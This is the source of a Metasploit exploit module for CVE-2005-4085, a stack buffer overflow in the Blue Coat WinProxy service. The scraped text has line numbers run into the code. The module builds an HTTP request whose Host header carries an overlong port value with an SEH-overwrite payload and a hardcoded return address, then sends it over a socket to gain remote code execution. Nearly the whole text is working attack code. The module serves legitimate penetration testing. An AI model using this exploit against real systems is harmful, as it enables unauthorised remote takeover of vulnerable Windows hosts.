Path: blob/master/modules/exploits/windows/proxy/bluecoat_winproxy_host.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78HttpFingerprint = { :method => 'HEAD', :pattern => [ /BlueCoat/ ] }910include Msf::Exploit::Remote::Tcp11include Msf::Exploit::Remote::Seh1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Blue Coat WinProxy Host Header Overflow',18'Description' => %q{19This module exploits a buffer overflow in the Blue Coat Systems WinProxy20service by sending a long port value for the Host header in a HTTP21request.22},23'Author' => 'MC',24'License' => MSF_LICENSE,25'References' => [26['CVE', '2005-4085'],27['OSVDB', '22238'],28['BID', '16147'],29['URL', 'http://www.bluecoat.com/support/knowledge/advisory_host_header_stack_overflow.html'],30],31'DefaultOptions' => {32'EXITFUNC' => 'thread',33},34'Payload' => {35'Space' => 600,36'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",37'StackAdjustment' => -3500,38},39'Platform' => 'win',40'Targets' => [41[ 'WinProxy <= 6.1 R1a Universal', { 'Ret' => 0x6020ba04 } ], # Asmdat.dll42],43'Privileged' => true,44'DisclosureDate' => '2005-01-05',45'DefaultTarget' => 0,46'Notes' => {47'Reliability' => UNKNOWN_RELIABILITY,48'Stability' => UNKNOWN_STABILITY,49'SideEffects' => UNKNOWN_SIDE_EFFECTS50}51)52)5354register_options(55[56Opt::RPORT(80)57]58)59end6061def exploit62connect6364print_status("Trying target #{target.name}...")6566sploit = "GET / HTTP/1.1" + "\r\n"67sploit += "Host: 127.0.0.1:"68sploit += rand_text_english(31, payload_badchars)69seh = generate_seh_payload(target.ret)70sploit[23, seh.length] = seh71sploit += "\r\n\r\n"7273sock.put(sploit)74sock.get_once(-1, 3)7576handler77disconnect78end79end808182